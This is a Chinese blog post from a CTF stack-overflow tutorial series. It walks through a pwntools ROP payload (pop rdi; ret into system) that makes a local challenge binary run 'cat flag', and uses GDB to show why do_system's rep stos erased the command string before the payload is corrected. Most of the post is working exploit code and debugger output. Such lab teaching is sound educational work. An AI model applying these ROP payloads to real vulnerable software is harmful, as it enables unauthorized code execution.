virusdefender's blog ʕ•ᴥ•ʔ

二进制安全之栈溢出(六)

上一篇文章在执行 system 函数的时候是使用的 libc 中的 /bin/sh 字符串,如果我们想运行一个自定义的命令那就不一定能在内存中找到了,万幸的是 student 结构体的内存也是可以控制的,我们可以在结构体中也放入一个字符串,这样就可以实现任意参数了。

可以把参数放在结构体的开头,shellcode 大致就是这个样子的

 1from pwn import *
 2
 3student = 0x7fffffffe2f0
 4cmd = "cat flag\x00"
 5shellcode = "1925\n" + cmd
 6shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
 7# pop rdi; ret
 8shellcode += p64(0x0000000000400803)
 9# cmd
10shellcode += p64(student)
11# system
12shellcode += p64(0x400550)
13
14print shellcode

但是在 GDB 中直接运行会发现进程虽然启动了 /bin/sh,但是 cat 没有执行,为了调试这个问题,还是先搞清楚 system 的实现比较好。

标准库里面的 system 在 Linux 下实际就是 __libc_system

 1int
 2__libc_system (const char *line)
 3{
 4  if (line == NULL)
 5    /* Check that we have a command processor available.  It might
 6       not be available after a chroot(), for example.  */
 7    return do_system ("exit 0") == 0;
 8
 9  return do_system (line);
10}

然后 do_system 才是真正的逻辑,在 GitHub 上有人 mirror 了一份源码,简单的原理就是 fork 之后在子进程 execve,其中参数是

1new_argv[0] = SHELL_NAME;  // 源码开头定义的,目前是 sh
2new_argv[1] = "-c";
3new_argv[2] = line;  // 就是 system 函数的参数
4new_argv[3] = NULL;  // 代表数组结束

如果说看到新的 /bin/sh 进程启动了,但是命令没有执行,那一般就出在 fork 之后的步骤了,所以我们在 __execve 上下断点,看下参数是否正确。

 1➜  new gdb vuln
 2Breakpoint 1 at 0x400550
 3gdb-peda$ r < in.txt
 4
 5...
 6
 7gdb-peda$ b __execve
 8Breakpoint 2 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
 9gdb-peda$ c
10Continuing.
11[New process 20226]
12[Switching to process 20226]
13[----------------------------------registers-----------------------------------]
14
15RDX: 0x7fffffffe438 --> 0x7fffffffe6db ("LANG=en_US.UTF-8")
16RSI: 0x7fffffffe208 --> 0x7ffff7b99d1c --> 0x2074697865006873 ('sh')
17RDI: 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
18RBP: 0x0
19RSP: 0x7fffffffe1d0 --> 0x7ffff7a52299 (<do_system+1145>:	mov    edi,0x7f)
20
21[-------------------------------------code-------------------------------------]
22   0x7ffff7ad9762 <__GI__exit+82>:	mov    DWORD PTR fs:[r9],eax
23   0x7ffff7ad9766 <__GI__exit+86>:	jmp    0x7ffff7ad973f <__GI__exit+47>
24   0x7ffff7ad9768:	nop    DWORD PTR [rax+rax*1+0x0]
25=> 0x7ffff7ad9770 <execve>:	mov    eax,0x3b
26   0x7ffff7ad9775 <execve+5>:	syscall
27   0x7ffff7ad9777 <execve+7>:	cmp    rax,0xfffffffffffff001
28   0x7ffff7ad977d <execve+13>:	jae    0x7ffff7ad9780 <execve+16>
29   0x7ffff7ad977f <execve+15>:	ret
30[------------------------------------stack-------------------------------------]
31...
32[------------------------------------------------------------------------------]
33Legend: code, data, rodata, value
34
35Thread 2.1 "vuln" hit Breakpoint 2, execve () at ../sysdeps/unix/syscall-template.S:84
3684	../sysdeps/unix/syscall-template.S: No such file or directory.

可以看出程序停在了 execve 函数内部的开头,这个函数是三个参数,所以检查 rdi, rsi, rdx 三个寄存器就可以了。

rdi 在上面可以直接看到,是 /bin/sh 没问题。 rsi 是第二个参数,类型是 char *const argv[],也就是指针数组,先看下地址

 1gdb-peda$ x/4xg $rsi
 20x7fffffffe208:	0x00007ffff7b99d1c	0x00007ffff7b99d14
 30x7fffffffe218:	0x00007fffffffe2f0	0x0000000000000000
 4
 5gdb-peda$ x/s 0x00007ffff7b99d1c
 60x7ffff7b99d1c:	"sh"
 7gdb-peda$ x/s 0x00007ffff7b99d14
 80x7ffff7b99d14:	"-c"
 9gdb-peda$ x/s 0x00007fffffffe2f0
100x7fffffffe2f0:	""
11
12gdb-peda$ x/8xb 0x00007fffffffe2f0
130x7fffffffe2f0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

目前 argv["sh", "-c", "", NULL] 的状态,第一个参数惯例都是进程自己的路径,第二个 -c 也是预期的,而第三个应该是我们执行的指令才对,也就是 echo,而现在这个地址指向的内存都变成了0,所以 execve 就会出错。但是这个地址是 student 结构体的起始位置,为什么会被清空了呢?这时候就需要监视变量或者内存地址的指令了,那就是 watch

 1➜  new gdb vuln
 2gdb-peda$ b system
 3Breakpoint 1 at 0x400550
 4gdb-peda$ r < in.txt
 5Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
 6
 7Breakpoint 1, __libc_system (line=0x7fffffffe2f0 "echo cmd") at ../sysdeps/posix/system.c:179
 8179	../sysdeps/posix/system.c: No such file or directory.
 9gdb-peda$ x/16xb 0x7fffffffe2f0
100x7fffffffe2f0:	0x65	0x63	0x68	0x6f	0x20	0x63	0x6d	0x64
110x7fffffffe2f8:	0x00	0x41	0x41	0x41	0x41	0x41	0x41	0x41
12gdb-peda$ watch *0x7fffffffe2f0
13Hardware watchpoint 2: *0x7fffffffe2f0
14gdb-peda$ b __execve
15Breakpoint 3 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
16gdb-peda$ c
17Continuing.
18[----------------------------------registers-----------------------------------]
19RAX: 0x0
20RBX: 0x7fffffffe2f0 --> 0x0
21RCX: 0x7
22RDX: 0x7fffffffe2b0 --> 0x0
23RSI: 0x1
24RDI: 0x7fffffffe2f8 --> 0x4141414141414100 ('')
25RBP: 0x7fffffffe2a8 --> 0x1
26RSP: 0x7fffffffe1d8 --> 0x0
27RIP: 0x7ffff7a51e60 (<do_system+64>:	rep stos QWORD PTR es:[rdi],rax)
28R8 : 0x2e6572654820646e ('nd Here.')
29R9 : 0x1b
30R10: 0x547
31R11: 0x7ffff7a52390 (<__libc_system>:	test   rdi,rdi)
32R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
33R13: 0x7fffffffe420 --> 0x1
34R14: 0x0
35R15: 0x0
36EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
37[-------------------------------------code-------------------------------------]
38   0x7ffff7a51e4e <do_system+46>:	mov    DWORD PTR [rsp+0x158],0x0
39   0x7ffff7a51e59 <do_system+57>:	lea    rdx,[rbp+0x8]
40   0x7ffff7a51e5d <do_system+61>:	mov    rdi,rdx
41=> 0x7ffff7a51e60 <do_system+64>:	rep stos QWORD PTR es:[rdi],rax
42   0x7ffff7a51e63 <do_system+67>:	cmp    DWORD PTR [rip+0x3848d6],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
43   0x7ffff7a51e6a <do_system+74>:	je     0x7ffff7a51e78 <do_system+88>
44   0x7ffff7a51e6c <do_system+76>:	lock cmpxchg DWORD PTR [rip+0x38162c],esi        # 0x7ffff7dd34a0 <lock>
45   0x7ffff7a51e74 <do_system+84>:	jne    0x7ffff7a51e81 <do_system+97>
46
47Hardware watchpoint 2: *0x7fffffffe2f0
48
49Old value = 0x6f686365
50New value = 0x0
510x00007ffff7a51e60 in do_system (line=0x7ffff7a51e60 "") at ../sysdeps/posix/system.c:66
5266	in ../sysdeps/posix/system.c

0x7ffff7a51e60 rep stos QWORD PTR es:[rdi],rax 指令这里修改了 0x7ffff7a51e60 的内容,New value 就是 0。

rep 执行可以加在很多指令前面,表示循环执行 $rdx 次,stos QWORD PTR es:[rdi],rax 是把 RAX 寄存器的值(目前为0)复制到 ,再查看相关的内存地址果然是这样的。

 1gdb-peda$ x/128xb 0x7fffffffe2f0
 20x7fffffffe2f0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 30x7fffffffe2f8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 40x7fffffffe300:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 50x7fffffffe308:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 60x7fffffffe310:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 70x7fffffffe318:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 80x7fffffffe320:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 90x7fffffffe328:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
100x7fffffffe330:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
110x7fffffffe338:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
120x7fffffffe340:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41

搞清楚哪部分数据会被覆盖就可以针对性的改写 shellcode 了,可以把命令行放在最后面。

 1from pwn import *
 2
 3student = 0x7fffffffe2f0
 4# 确定后面会是 \x00 了就先不手写结束符了,方便定位地址,否则 cmd 会变成 9 个字节
 5cmd = "cat flag"
 6shellcode = "1925\n"
 7shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
 8shellcode += cmd
 9# pop rdi; ret
10shellcode += p64(0x0000000000400803)
11# cmd
12shellcode += p64(0x7fffffffe340)
13# system
14shellcode += p64(0x400550)
15
16print shellcode
 1gdb-peda$ r < in.txt
 2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
 30x7fffffffe2f0What's Your Birth?
 4What's Your Name?
 5You Are Born In 1094795585
 6You Are Naive.
 7You Speed One Second Here.
 8[New process 20726]
 9process 20726 is executing new program: /bin/dash
10[New process 20727]
11process 20727 is executing new program: /bin/cat
12THIS_IS_FLAG
13[Inferior 3 (process 20727) exited normally]

参考

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #CTF